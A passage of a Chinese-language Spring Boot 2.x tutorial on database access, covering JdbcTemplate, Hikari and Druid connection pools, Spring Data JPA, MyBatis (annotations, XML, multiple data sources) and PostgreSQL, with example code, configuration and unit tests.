spring.datasource.jndi-name=java:jboss/datasources/customers
```
## 使用JdbcTemplate操作数据库
Spring 的 JdbcTemplate 是自动配置的，你可以直接使用 @Autowired 或构造函数（推荐）来注入到你自己的 bean 中来使用。
**准备数据库**
先创建 User 表，包含属性 name、age。可以通过执行下面的建表语句：：
```sql
CREATE TABLE `User` (
`name` varchar(100) COLLATE utf8mb4_general_ci NOT NULL,
`age` int NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci
```
**编写领域对象**
根据数据库中创建的 User 表，创建领域对象：
```java
@Data
@NoArgsConstructor
public class User {
private String name;
private Integer age;
}
```
这里使用了 Lombok 的 @Data 和 @NoArgsConstructor 注解来自动生成各参数的 Set、Get 函数以及不带参数的构造函数。
**编写数据访问对象**
定义包含有插入、删除、查询的抽象接口 UserService
```java
public interface UserService {
/**
* 新增一个用户
*
* @param name
* @param age
*/
int create(String name, Integer age);
/**
* 根据name查询用户
*
* @param name
* @return
*/
List<User> getByName(String name);
/**
* 根据name删除用户
*
* @param name
*/
int deleteByName(String name);
/**
* 获取用户总量
*/
int getAllUsers();
/**
* 删除所有用户
*/
int deleteAllUsers();
}
```
通过 JdbcTemplate 实现 UserService 中定义的数据访问操作
```java
@Service
public class UserServiceImpl implements UserService {
private JdbcTemplate jdbcTemplate;
UserServiceImpl(JdbcTemplate jdbcTemplate) {
this.jdbcTemplate = jdbcTemplate;
}
@Override
public int create(String name, Integer age) {
return jdbcTemplate.update("insert into USER(NAME, AGE) values(?, ?)", name, age);
}
@Override
public List<User> getByName(String name) {
List<User> users = jdbcTemplate.query("select NAME, AGE from USER where NAME = ?", (resultSet, i) -> {
User user = new User();
user.setName(resultSet.getString("NAME"));
user.setAge(resultSet.getInt("AGE"));
return user;
}, name);
return users;
}
@Override
public int deleteByName(String name) {
return jdbcTemplate.update("delete from USER where NAME = ?", name);
}
@Override
public int getAllUsers() {
return jdbcTemplate.queryForObject("select count(1) from USER", Integer.class);
}
@Override
public int deleteAllUsers() {
return jdbcTemplate.update("delete from USER");
}
}
```
---
## Hikari
由于 Spring Boot 的自动化配置机制，大部分对于数据源的配置都可以通过配置参数的方式去改变。只有一些特殊情况，比如：更换默认数据源，多数据源共存等情况才需要去修改覆盖初始化的 Bean 内容。
在 Spring Boot 自动化配置中，对于数据源的配置可以分为两类：
通用配置：以 `spring.datasource.*` 的形式存在，主要是对一些即使使用不同数据源也都需要配置的一些常规内容。比如：数据库链接地址、用户名、密码等。这里就不做过多说明了，通常就这些配置：
```conf
spring.datasource.url=jdbc:mysql://localhost:3306/test
spring.datasource.username=root
spring.datasource.password=123456
spring.datasource.driver-class-name=com.mysql.jdbc.Driver
```
数据源连接池配置：以 `spring.datasource.<数据源名称>.*` 的形式存在，比如：Hikari 的配置参数就是 `spring.datasource.hikari.*` 形式。下面这个是我们最常用的几个配置项及对应说明：
```conf
spring.datasource.hikari.minimum-idle=10
spring.datasource.hikari.maximum-pool-size=20
spring.datasource.hikari.idle-timeout=500000
spring.datasource.hikari.max-lifetime=540000
spring.datasource.hikari.connection-timeout=60000
spring.datasource.hikari.connection-test-query=SELECT 1
```
这些配置的含义：
- spring.datasource.hikari.minimum-idle: 最小空闲连接，默认值 10，小于 0 或大于 maximum-pool-size，都会重置为 maximum-pool-size
- spring.datasource.hikari.maximum-pool-size: 最大连接数，小于等于 0 会被重置为默认值 10；大于零小于 1 会被重置为 minimum-idle 的值
- spring.datasource.hikari.idle-timeout: 空闲连接超时时间，默认值 600000（10 分钟），大于等于 max-lifetime 且 max-lifetime>0，会被重置为 0；不等于 0 且小于 10 秒，会被重置为 10 秒。
- spring.datasource.hikari.max-lifetime: 连接最大存活时间，不等于 0 且小于 30 秒，会被重置为默认值 30 分钟. 设置应该比 mysql 设置的超时时间短
- spring.datasource.hikari.connection-timeout: 连接超时时间：毫秒，小于 250 毫秒，否则被重置为默认值 30 秒
- spring.datasource.hikari.connection-test-query: 用于测试连接是否可用的查询语句
---
## Druid
**配置 Druid 数据源**
在 pom.xml 中引入 druid 官方提供的 Spring Boot Starter 封装。
```xml
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>druid-spring-boot-starter</artifactId>
<version>1.1.21</version>
</dependency>
```
在 application.properties 中配置数据库连接信息。
Druid 的配置都以 spring.datasource.druid 作为前缀，所以根据之前的配置，稍作修改即可：
```conf
spring.datasource.druid.url=jdbc:mysql://localhost:3306/test
spring.datasource.druid.username=root
spring.datasource.druid.password=
spring.datasource.druid.driver-class-name=com.mysql.cj.jdbc.Driver
```
配置 Druid 的连接池
与 Hikari 一样，要用好一个数据源，就要对其连接池做好相应的配置，比如下面这样：
```conf
spring.datasource.druid.initialSize=10
spring.datasource.druid.maxActive=20
spring.datasource.druid.maxWait=60000
spring.datasource.druid.minIdle=1
spring.datasource.druid.timeBetweenEvictionRunsMillis=60000
spring.datasource.druid.minEvictableIdleTimeMillis=300000
spring.datasource.druid.testWhileIdle=true
spring.datasource.druid.testOnBorrow=true
spring.datasource.druid.testOnReturn=false
spring.datasource.druid.poolPreparedStatements=true
spring.datasource.druid.maxOpenPreparedStatements=20
spring.datasource.druid.validationQuery=SELECT 1
spring.datasource.druid.validation-query-timeout=500
spring.datasource.druid.filters=stat
```
**Druid监控**
在 pom.xml 中引入 spring-boot-starter-actuator 模块
```xml
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
```
在 application.properties 中添加 Druid 的监控配置
```conf
spring.datasource.druid.stat-view-servlet.enabled=true
spring.datasource.druid.stat-view-servlet.url-pattern=/druid/*
spring.datasource.druid.stat-view-servlet.reset-enable=true
spring.datasource.druid.stat-view-servlet.login-username=admin
spring.datasource.druid.stat-view-servlet.login-password=admin
```
上面的配置主要用于开启 stat 监控统计的界面以及监控内容的相关配置，具体释意如下：
- spring.datasource.druid.stat-view-servlet.url-pattern：访问地址规则
- spring.datasource.druid.stat-view-servlet.reset-enable：是否允许清空统计数据
- spring.datasource.druid.stat-view-servlet.login-username：监控页面的登录账户
- spring.datasource.druid.stat-view-servlet.login-password：监控页面的登录密码
针对之前实现的 UserService 内容，我们创建一个 Controller 来通过接口去调用数据访问操作：
```java
@Data
@AllArgsConstructor
@RestController
public class UserController {
private UserService userService;
@PostMapping("/user")
public int create(@RequestBody User user) {
return userService.create(user.getName(), user.getAge());
}
@GetMapping("/user/{name}")
public List<User> getByName(@PathVariable String name) {
return userService.getByName(name);
}
@DeleteMapping("/user/{name}")
public int deleteByName(@PathVariable String name) {
return userService.deleteByName(name);
}
@GetMapping("/user/count")
public int getAllUsers() {
return userService.getAllUsers();
}
@DeleteMapping("/user/all")
public int deleteAllUsers() {
return userService.deleteAllUsers();
}
}
```
完成上面所有配置之后，启动应用，访问 Druid 的监控页面 http://localhost:8080/druid/，可以看到登录页面
- Sorry, you are not permitted to view this page.
deny优先于allow，如果在deny列表中，就算在allow列表中，也会被拒绝。如果allow没有配置或者为空，则允许所有访问
```conf
spring.datasource.druid.stat-view-servlet.allow=
```
---
## Spring Data JPA
在实际开发过程中，对数据库的操作大多可以归结为：“增删改查”。就最为普遍的单表操作而言，除了表和字段不同外，语句几乎都是类似的，开发人员需要写大量类似而枯燥的语句来完成业务逻辑。
为了解决这些大量枯燥的数据操作语句，诞生了非常多的优秀框架，比如：Hibernate。通过整合Hibernate，我们能够以操作Java实体的方式来完成对数据的操作，通过框架的帮助，对Java实体的变更最终将自动地映射到数据库表中。
在Hibernate的帮助下，Java实体映射到数据库表数据完成之后，再进一步解决抽象各个Java实体基本的“增删改查”操作，我们通常会以泛型的方式封装一个模板Dao来进行抽象简化，但是这样依然不是很方便，我们需要针对每个实体编写一个继承自泛型模板Dao的接口，再编写该接口的实现。虽然一些基础的数据访问已经可以得到很好的复用，但是在代码结构上针对每个实体都会有一堆Dao的接口和实现。
由于模板Dao的实现，使得这些具体实体的Dao层已经变的非常“薄”，有一些具体实体的Dao实现可能完全就是对模板Dao的简单代理，并且往往这样的实现类可能会出现在很多实体上。Spring Data JPA的出现正可以让这样一个已经很“薄”的数据访问层变成只是一层接口的编写方式。比如，下面的例子：
```java
public interface UserRepository extends JpaRepository<User, Long> {
User findByName(String name);
@Query("from User u where u.name=:name")
User findUser(@Param("name") String name);
}
```
在 pom.xml 中添加相关依赖，加入以下内容：
```xml
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-data-jpa</artifactId>
</dependency>
```
在 application.xml 中配置：数据库连接信息（如使用嵌入式数据库则不需要）、自动创建表结构的设置，例如使用 mysql 的情况如下：
```conf
spring.datasource.url=jdbc:mysql://localhost:3306/test
spring.datasource.username=root
spring.datasource.password=
spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver
spring.jpa.properties.hibernate.hbm2ddl.auto=create-drop
```
spring.jpa.properties.hibernate.hbm2ddl.auto 是 hibernate 的配置属性，其主要作用是：自动创建、更新、验证数据库表结构。该参数的几种配置如下：
- create：每次加载 hibernate 时都会删除上一次的生成的表，然后根据你的 model 类再重新来生成新表，哪怕两次没有任何改变也要这样执行，这就是导致数据库表数据丢失的一个重要原因。
- create-drop：每次加载 hibernate 时根据 model 类生成表，但是 sessionFactory 一关闭, 表就自动删除。
- update：最常用的属性，第一次加载 hibernate 时根据 model 类会自动建立起表的结构（前提是先建立好数据库），以后加载 hibernate 时根据 model 类自动更新表结构，即使表结构改变了但表中的行仍然存在不会删除以前的行。要注意的是当部署到服务器后，表结构是不会被马上建立起来的，是要等应用第一次运行起来后才会。
- validate：每次加载 hibernate 时，验证创建数据库表结构，只会和数据库中的表进行比较，不会创建新表，但是会插入新值。
**创建实体**
创建一个 User 实体，包含 id（主键）、name（姓名）、age（年龄）属性，通过 ORM 框架其会被映射到数据库表中，由于配置了 hibernate.hbm2ddl.auto，在应用启动的时候框架会自动去数据库中创建对应的表。
```java
@Entity
@Data
@NoArgsConstructor
public class User {
@Id
@GeneratedValue
private Long id;
private String name;
private Integer age;
public User(String name, Integer age) {
this.name = name;
this.age = age;
}
}
```
- @Entity 注解标识了 User 类是一个持久化的实体
- @Data 和 @NoArgsConstructor 是 Lombok 中的注解。用来自动生成各参数的 Set、Get 函数以及不带参数的构造函数。
- @Id 和 @GeneratedValue 用来标识 User 对应对应数据库表中的主键
**创建数据访问接口**
下面针对 User 实体创建对应的 Repository 接口实现对该实体的数据访问，如下代码：
```java
public interface UserRepository extends JpaRepository<User, Long> {
User findByName(String name);
User findByNameAndAge(String name, Integer age);
@Query("from User u where u.name=:name")
User findUser(@Param("name") String name);
}
```
在 Spring Data JPA 中，只需要编写类似上面这样的接口就可实现数据访问。不再像我们以往编写了接口时候还需要自己编写接口实现类，直接减少了我们的文件清单。
下面对上面的 UserRepository 做一些解释，该接口继承自 JpaRepository，通过查看 JpaRepository 接口的 API 文档，可以看到该接口本身已经实现了创建（save）、更新（save）、删除（delete）、查询（findAll、findOne）等基本操作的函数，因此对于这些基础操作的数据访问就不需要开发者再自己定义。
在我们实际开发中，JpaRepository 接口定义的接口往往还不够或者性能不够优化，我们需要进一步实现更复杂一些的查询或操作。
在上例中，我们可以看到下面两个函数：
- User findByName(String name)
- User findByNameAndAge(String name, Integer age)
它们分别实现了按 name 查询 User 实体和按 name 和 age 查询 User 实体，可以看到我们这里没有任何类 SQL 语句就完成了两个条件查询方法。这就是 Spring-data-jpa 的一大特性：通过解析方法名创建查询。
除了通过解析方法名来创建查询外，它也提供通过使用 @Query 注解来创建查询，您只需要编写 JPQL 语句，并通过类似 “:name” 来映射 @Param 指定的参数，就像例子中的第三个 findUser 函数一样。
**单元测试**
在完成了上面的数据访问接口之后，按照惯例就是编写对应的单元测试来验证编写的内容是否正确。这里就不多做介绍，主要通过数据操作和查询来反复验证操作的正确性。
```java
@RunWith(SpringRunner.class)
@SpringBootTest
public class ApplicationTests {
@Autowired
private UserRepository userRepository;
@Test
public void test() throws Exception {
// 创建10条记录
userRepository.save(new User("AAA", 10));
userRepository.save(new User("BBB", 20));
userRepository.save(new User("CCC", 30));
userRepository.save(new User("DDD", 40));
userRepository.save(new User("EEE", 50));
userRepository.save(new User("FFF", 60));
userRepository.save(new User("GGG", 70));
userRepository.save(new User("HHH", 80));
userRepository.save(new User("III", 90));
userRepository.save(new User("JJJ", 100));
// 测试findAll, 查询所有记录
Assert.assertEquals(10, userRepository.findAll().size());
// 测试findByName, 查询姓名为FFF的User
Assert.assertEquals(60, userRepository.findByName("FFF").getAge().longValue());
// 测试findUser, 查询姓名为FFF的User
Assert.assertEquals(60, userRepository.findUser("FFF").getAge().longValue());
// 测试findByNameAndAge, 查询姓名为FFF并且年龄为60的User
Assert.assertEquals("FFF", userRepository.findByNameAndAge("FFF", 60).getName());
// 测试删除姓名为AAA的User
userRepository.delete(userRepository.findByName("AAA"));
// 测试findAll, 查询所有记录, 验证上面的删除是否成功
Assert.assertEquals(9, userRepository.findAll().size());
}
}
```
---
## MyBatis
新建 Spring Boot 项目，在 pom.xml 中引入 MyBatis 的 Starter 以及 MySQL Connector 依赖，具体如下：
```xml
<dependency>
<groupId>org.mybatis.spring.boot</groupId>
<artifactId>mybatis-spring-boot-starter</artifactId>
<version>2.1.1</version>
</dependency>
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
</dependency>
```
关于 mybatis-spring-boot-starter 的版本需要注意：
- 2.1.x 版本适用于：MyBatis 3.5+、Java 8+、Spring Boot 2.1+
- 2.0.x 版本适用于：MyBatis 3.5+、Java 8+、Spring Boot 2.0/2.1
- 1.3.x 版本适用于：MyBatis 3.4+、Java 6+、Spring Boot 1.5
其中，目前还在维护的是 2.1.x 版本和 1.3.x 版本。
同之前介绍的使用 jdbc 模块和 jpa 模块连接数据库一样，在 application.properties 中配置 mysql 的连接配置
```conf
spring.datasource.url=jdbc:mysql://localhost:3306/test
spring.datasource.username=root
spring.datasource.password=
spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver
```
也可以不用默认数据源，使用 Druid 作为数据库连接池
Mysql 中创建一张用来测试的表，比如：User 表，其中包含 id(BIGINT)、age(INT)、name(VARCHAR) 字段。
```sql
CREATE TABLE `USER` (
`id` bigint NOT NULL AUTO_INCREMENT,
`name` varchar(100) COLLATE utf8mb4_general_ci DEFAULT NULL,
`age` int DEFAULT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci
```
创建 User 表的映射对象 User：
```java
@Data
@NoArgsConstructor
public class User {
private Long id;
private String name;
private Integer age;
public User(String name, Integer age) {
this.name = name;
this.age = age;
}
}
```
创建 User 表的操作接口：UserMapper。在接口中定义两个数据操作，一个插入，一个查询，用于后续单元测试验证。
```java
@Mapper
public interface UserMapper {
@Select("SELECT * FROM USER WHERE NAME = #{name}")
User findByName(@Param("name") String name);
@Insert("INSERT INTO USER(NAME, AGE) VALUES(#{name}, #{age})")
int insert(@Param("name") String name, @Param("age") Integer age);
}
```
创建 Spring Boot 主类
```java
@SpringBootApplication
public class Chapter35Application {
public static void main(String[] args) {
SpringApplication.run(Chapter35Application.class, args);
}
}
```
创建单元测试
插入一条 name=AAA，age=20 的记录，然后根据 name=AAA 查询，并判断 age 是否为 20
测试结束回滚数据，保证测试单元每次运行的数据环境独立
```java
@Slf4j
@RunWith(SpringRunner.class)
@SpringBootTest
public class Chapter35ApplicationTests {
@Autowired
private UserMapper userMapper;
@Test
@Rollback
public void test() throws Exception {
userMapper.insert("AAA", 20);
User u = userMapper.findByName("AAA");
Assert.assertEquals(20, u.getAge().intValue());
}
}
```
**使用@Param**
在之前的整合示例中我们已经使用了这种最简单的传参方式，如下：
```java
@Insert("INSERT INTO USER(NAME, AGE) VALUES(#{name}, #{age})")
int insert(@Param("name") String name, @Param("age") Integer age);
```
这种方式很好理解，`@Param` 中定义的 `name` 对应了 SQL 中的 `#{name}`，`age` 对应了 SQL 中的 `#{age}`。
**使用Map**
如下代码，通过 `Map<String, Object>` 对象来作为传递参数的容器：
```java
@Insert("INSERT INTO USER(NAME, AGE) VALUES(#{name,jdbcType=VARCHAR}, #{age,jdbcType=INTEGER})")
int insertByMap(Map<String, Object> map);
```
对于 Insert 语句中需要的参数，我们只需要在 map 中填入同名的内容即可，具体如下面代码所示：
```java
Map<String, Object> map = new HashMap<>();
map.put("name", "CCC");
map.put("age", 40);
userMapper.insertByMap(map);
```
**使用对象**
除了 Map 对象，我们也可直接使用普通的 Java 对象来作为查询条件的传参，比如我们可以直接使用 User 对象:
```java
@Insert("INSERT INTO USER(NAME, AGE) VALUES(#{name}, #{age})")
int insertByUser(User user);
```
这样语句中的 `#{name}`、`#{age}` 就分别对应了 User 对象中的 name 和 age 属性。
**增删改查**
MyBatis 针对不同的数据库操作分别提供了不同的注解来进行配置，在之前的示例中演示了 `@Insert`，下面针对 User 表做一组最基本的增删改查作为示例：
```java
public interface UserMapper {
@Select("SELECT * FROM USER WHERE name = #{name}")
User findByName(@Param("name") String name);
@Insert("INSERT INTO USER(name, age) VALUES(#{name}, #{age})")
int insert(@Param("name") String name, @Param("age") Integer age);
@Update("UPDATE USER SET age=#{age} WHERE name=#{name}")
void update(User user);
@Delete("DELETE FROM USER WHERE id =#{id}")
void delete(Long id);
}
```
在完成了一套增删改查后，不妨我们试试下面的单元测试来验证上面操作的正确性：
```java
@Transactional
@RunWith(SpringRunner.class)
@SpringBootTest
public class ApplicationTests {
@Autowired
private UserMapper userMapper;
@Test
@Rollback
public void testUserMapper() throws Exception {
// insert一条数据，并select出来验证
userMapper.insert("AAA", 20);
User u = userMapper.findByName("AAA");
Assert.assertEquals(20, u.getAge().intValue());
// update一条数据，并select出来验证
u.setAge(30);
userMapper.update(u);
u = userMapper.findByName("AAA");
Assert.assertEquals(30, u.getAge().intValue());
// 删除这条数据，并select验证
userMapper.delete(u.getId());
u = userMapper.findByName("AAA");
Assert.assertEquals(null, u);
}
}
```
**返回结果绑定**
对于增、删、改操作相对变化较小。而对于 “查” 操作，我们往往需要进行多表关联，汇总计算等操作，那么对于查询的结果往往就不再是简单的实体对象了，往往需要返回一个与数据库实体不同的包装类，那么对于这类情况，就可以通过 `@Results` 和 `@Result` 注解来进行绑定，具体如下：
```java
@Results({
@Result(property = "name", column = "name"),
@Result(property = "age", column = "age")
})
@Select("SELECT name, age FROM user")
List<User> findAll();
```
在上面代码中，`@Result` 中的 `property` 属性对应 User 对象中的成员名，column 对应 SELECT 出的字段名。在该配置中故意没有查出 id 属性，只对 User 对应中的 name 和 age 对象做了映射配置，这样可以通过下面的单元测试来验证查出的 id 为 `null`，而其他属性不为 `null`：
```java
@Test
@Rollback
public void testUserMapper() throws Exception {
List<User> userList = userMapper.findAll();
for(User user : userList) {
Assert.assertEquals(null, user.getId());
Assert.assertNotEquals(null, user.getName());
}
}
```
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## 使用MyBatis的XML配置方式
在应用主类中增加mapper的扫描包配置
```java
@MapperScan("com.didispace.chapter36.mapper")
@SpringBootApplication
public class Chapter36Application {
public static void main(String[] args) {
SpringApplication.run(Chapter36Application.class, args);
}
}
```
在第一步中指定的Mapper包下创建User表的Mapper定义
```java
public interface UserMapper {
User findByName(@Param("name") String name);
int insert(@Param("name") String name, @Param("age") Integer age);
}
```
在配置文件中通过mybatis.mapper-locations参数指定xml配置的位置：
```conf
mybatis.mapper-locations=classpath:mapper/*.xml
```
在第三步中指定的xml配置目录下创建User表的mapper配置：
```xml
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE mapper
PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-mapper.dtd">
<mapper namespace="com.didispace.chapter36.mapper.UserMapper">
<select id="findByName" resultType="com.didispace.chapter36.entity.User">
SELECT * FROM USER WHERE NAME = #{name}
</select>
<insert id="insert">
INSERT INTO USER(NAME, AGE) VALUES(#{name}, #{age})
</insert>
</mapper>
```
到这里从注解方式的MyBatis使用方式就改为了XML的配置方式了，为了验证是否运行正常，可以通过下面的单元测试来尝试对数据库的写和读操作：
```java
@Slf4j
@RunWith(SpringRunner.class)
@SpringBootTest
@Transactional
public class Chapter36ApplicationTests {
@Autowired
private UserMapper userMapper;
@Test
@Rollback
public void test() throws Exception {
userMapper.insert("AAA", 20);
User u = userMapper.findByName("AAA");
Assert.assertEquals(20, u.getAge().intValue());
}
}
```
---
## MyBatis的多数据源配置
**添加多数据源的配置**
先在Spring Boot的配置文件application.properties中设置两个你要链接的数据库配置，比如这样：
```conf
spring.datasource.primary.jdbc-url=jdbc:mysql://localhost:3306/test1
spring.datasource.primary.username=root
spring.datasource.primary.password=123456
spring.datasource.primary.driver-class-name=com.mysql.cj.jdbc.Driver
spring.datasource.secondary.jdbc-url=jdbc:mysql://localhost:3306/test2
spring.datasource.secondary.username=root
spring.datasource.secondary.password=123456
spring.datasource.secondary.driver-class-name=com.mysql.cj.jdbc.Driver
```
多数据源配置的时候，与单数据源不同点在于spring.datasource之后多设置一个数据源名称primary和secondary来区分不同的数据源配置，这个前缀将在后续初始化数据源的时候用到。
数据源连接配置2.x和1.x的配置项是有区别的：2.x使用spring.datasource.secondary.jdbc-url，而1.x版本使用spring.datasource.secondary.url。如果你在配置的时候发生了这个报错java.lang.IllegalArgumentException: jdbcUrl is required with driverClassName.，那么就是这个配置项的问题。
可以看到，不论使用哪一种数据访问框架，对于数据源的配置都是一样的。
**初始化数据源与MyBatis配置**
完成多数据源的配置信息之后，就来创建个配置类来加载这些配置信息，初始化数据源，以及初始化每个数据源要用的MyBatis配置。
单独建一个多数据源的配置类
```java
@Configuration
public class DataSourceConfiguration {
@Primary
@Bean
@ConfigurationProperties(prefix = "spring.datasource.primary")
public DataSource primaryDataSource() {
return DataSourceBuilder.create().build();
}
@Bean
@ConfigurationProperties(prefix = "spring.datasource.secondary")
public DataSource secondaryDataSource() {
return DataSourceBuilder.create().build();
}
}
```
可以看到内容跟JdbcTemplate、Spring Data JPA的时候是一模一样的。通过 `@ConfigurationProperties` 可以知道这两个数据源分别加载了 `spring.datasource.primary.*` 和 `spring.datasource.secondary.*` 的配置。@Primary注解指定了主数据源，就是当我们不特别指定哪个数据源的时候，就会使用这个Bean真正差异部分在下面的JPA配置上。
分别创建两个数据源的MyBatis配置。
Primary数据源的JPA配置：
```java
@Configuration
@MapperScan(
basePackages = "com.didispace.chapter39.p",
sqlSessionFactoryRef = "sqlSessionFactoryPrimary",
sqlSessionTemplateRef = "sqlSessionTemplatePrimary")
public class PrimaryConfig {
private DataSource primaryDataSource;
public PrimaryConfig(@Qualifier("primaryDataSource") DataSource primaryDataSource) {
this.primaryDataSource = primaryDataSource;
}
@Bean
public SqlSessionFactory sqlSessionFactoryPrimary() throws Exception {
SqlSessionFactoryBean bean = new SqlSessionFactoryBean();
bean.setDataSource(primaryDataSource);
return bean.getObject();
}
@Bean
public SqlSessionTemplate sqlSessionTemplatePrimary() throws Exception {
return new SqlSessionTemplate(sqlSessionFactoryPrimary());
}
}
```
Secondary数据源的JPA配置：
```java
@Configuration
@MapperScan(
basePackages = "com.didispace.chapter39.s",
sqlSessionFactoryRef = "sqlSessionFactorySecondary",
sqlSessionTemplateRef = "sqlSessionTemplateSecondary")
public class SecondaryConfig {
private DataSource secondaryDataSource;
public SecondaryConfig(@Qualifier("secondaryDataSource") DataSource secondaryDataSource) {
this.secondaryDataSource = secondaryDataSource;
}
@Bean
public SqlSessionFactory sqlSessionFactorySecondary() throws Exception {
SqlSessionFactoryBean bean = new SqlSessionFactoryBean();
bean.setDataSource(secondaryDataSource);
return bean.getObject();
}
@Bean
public SqlSessionTemplate sqlSessionTemplateSecondary() throws Exception {
return new SqlSessionTemplate(sqlSessionFactorySecondary());
}
}
```
配置类上使用@MapperScan注解来指定当前数据源下定义的Entity和Mapper的包路径；另外需要指定sqlSessionFactory和sqlSessionTemplate，这两个具体实现在该配置类中类中初始化。
配置类的构造函数中，通过@Qualifier注解来指定具体要用哪个数据源，其名字对应在DataSourceConfiguration配置类中的数据源定义的函数名。
配置类中定义SqlSessionFactory和SqlSessionTemplate的实现，注意具体使用的数据源正确。
根据上面Primary数据源的定义，在com.didispace.chapter39.p包下，定义Primary数据源要用的实体和数据访问对象，比如下面这样：
```java
@Data
@NoArgsConstructor
public class UserPrimary {
private Long id;
private String name;
private Integer age;
public UserPrimary(String name, Integer age) {
this.name = name;
this.age = age;
}
}
public interface UserMapperPrimary {
@Select("SELECT * FROM USER WHERE NAME = #{name}")
UserPrimary findByName(@Param("name") String name);
@Insert("INSERT INTO USER(NAME, AGE) VALUES(#{name}, #{age})")
int insert(@Param("name") String name, @Param("age") Integer age);
@Delete("DELETE FROM USER")
int deleteAll();
}
```
根据上面Secondary数据源的定义，在com.didispace.chapter39.s包下，定义Secondary数据源要用的实体和数据访问对象，比如下面这样：
```java
@Data
@NoArgsConstructor
public class UserSecondary {
private Long id;
private String name;
private Integer age;
public UserSecondary(String name, Integer age) {
this.name = name;
this.age = age;
}
}
public interface UserMapperSecondary {
@Select("SELECT * FROM USER WHERE NAME = #{name}")
UserSecondary findByName(@Param("name") String name);
@Insert("INSERT INTO USER(NAME, AGE) VALUES(#{name}, #{age})")
int insert(@Param("name") String name, @Param("age") Integer age);
@Delete("DELETE FROM USER")
int deleteAll();
}
```
测试验证
```java
@Slf4j
@RunWith(SpringRunner.class)
@SpringBootTest
@Transactional
public class Chapter39ApplicationTests {
@Autowired
private UserMapperPrimary userMapperPrimary;
@Autowired
private UserMapperSecondary userMapperSecondary;
@Before
public void setUp() {
// 清空测试表，保证每次结果一样
userMapperPrimary.deleteAll();
userMapperSecondary.deleteAll();
}
@Test
public void test() throws Exception {
// 往Primary数据源插入一条数据
userMapperPrimary.insert("AAA", 20);
// 从Primary数据源查询刚才插入的数据，配置正确就可以查询到
UserPrimary userPrimary = userMapperPrimary.findByName("AAA");
Assert.assertEquals(20, userPrimary.getAge().intValue());
// 从Secondary数据源查询刚才插入的数据，配置正确应该是查询不到的
UserSecondary userSecondary = userMapperSecondary.findByName("AAA");
Assert.assertNull(userSecondary);
// 往Secondary数据源插入一条数据
userMapperSecondary.insert("BBB", 20);
// 从Primary数据源查询刚才插入的数据，配置正确应该是查询不到的
userPrimary = userMapperPrimary.findByName("BBB");
Assert.assertNull(userPrimary);
// 从Secondary数据源查询刚才插入的数据，配置正确就可以查询到
userSecondary = userMapperSecondary.findByName("BBB");
Assert.assertEquals(20, userSecondary.getAge().intValue());
}
}
```
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## PostgreSQL
在pom.xml中引入访问PostgreSQL需要的两个重要依赖：
```xml
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-data-jpa</artifactId>
</dependency>
<dependency>
<groupId>org.postgresql</groupId>
<artifactId>postgresql</artifactId>
<scope>runtime</scope>
</dependency>
```
这里postgresql是必须的，spring-boot-starter-data-jpa的还可以替换成其他的数据访问封装框架，比如：MyBatis等，具体根据你使用习惯来替换依赖即可。
在配置文件中为PostgreSQL数据库配置数据源、以及JPA的必要配置。
```conf
spring.datasource.url=jdbc:postgresql://localhost:5432/test
spring.datasource.username=postgres
spring.datasource.password=123456
spring.datasource.driver-class-name=org.postgresql.Driver
spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.PostgreSQLDialect
spring.jpa.properties.hibernate.hbm2ddl.auto=create
```
创建用户信息实体，映射user_info表
```java
@Entity
@Data
@NoArgsConstructor
public class UserInfo {
@Id
@GeneratedValue
private Long id;
private String name;
private Integer age;
public UserInfo(String name, Integer age) {
this.name = name;
this.age = age;
}
}
```
创建用户信息实体的增删改查
```java
public interface UserInfoRepository extends JpaRepository<UserInfo, Long> {
UserInfo findByName(String name);
UserInfo findByNameAndAge(String name, Integer age);
@Query("from UserInfo u where u.name=:name")
UserInfo findUser(@Param("name") String name);
}
```
创建单元测试，尝试一下增删改查操作。
```java
@Slf4j
@SpringBootTest
public class ApplicationTests {
@Autowired
private UserInfoRepository userRepository;
@Test
public void test() throws Exception {
// 创建10条记录
userRepository.save(new UserInfo("AAA", 10));
userRepository.save(new UserInfo("BBB", 20));
userRepository.save(new UserInfo("CCC", 30));
userRepository.save(new UserInfo("DDD", 40));
userRepository.save(new UserInfo("EEE", 50));
userRepository.save(new UserInfo("FFF", 60));
userRepository.save(new UserInfo("GGG", 70));
userRepository.save(new UserInfo("HHH", 80));
userRepository.save(new UserInfo("III", 90));
userRepository.save(new UserInfo("JJJ", 100));
// 测试findAll, 查询所有记录
Assertions.assertEquals(10, userRepository.findAll().size());
// 测试findByName, 查询姓名为FFF的User
Assertions.assertEquals(60, userRepository.findByName("FFF").getAge().longValue());
// 测试findUser, 查询姓名为FFF的User
Assertions.assertEquals(60, userRepository.findUser("FFF").getAge().longValue());
// 测试findByNameAndAge, 查询姓名为FFF并且年龄为60的User
Assertions.assertEquals("FFF", userRepository.findByNameAndAge("FFF", 60).getName());
// 测试删除姓名为AAA的User
userRepository.delete(userRepository.findByName("AAA"));
// 测试findAll, 查询所有记录, 验证上面的删除是否成功
Assertions.assertEquals(9, userRepository.findAll().size());
}
}
```
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## Source & Reference
- [Spring Boot 2.x基础教程：使用JdbcTemplate访问MySQL数据库](https://blog.didispace.com/spring-boot-learning-21-3-1/)
- [Spring Boot 2.x基础教程：默认数据源Hikari的配置详解](https://blog.didispace.com/spring-boot-learning-21-3-2/)
- [Spring Boot 2.x基础教程：使用国产数据库连接池Druid](https://blog.didispace.com/spring-boot-learning-21-3-3/)
- [Spring Boot 2.x基础教程：使用Spring Data JPA访问MySQL](https://blog.didispace.com/spring-boot-learning-21-3-4/)
- [Spring Boot 2.x基础教程：使用MyBatis访问MySQL](https://blog.didispace.com/spring-boot-learning-21-3-5/)
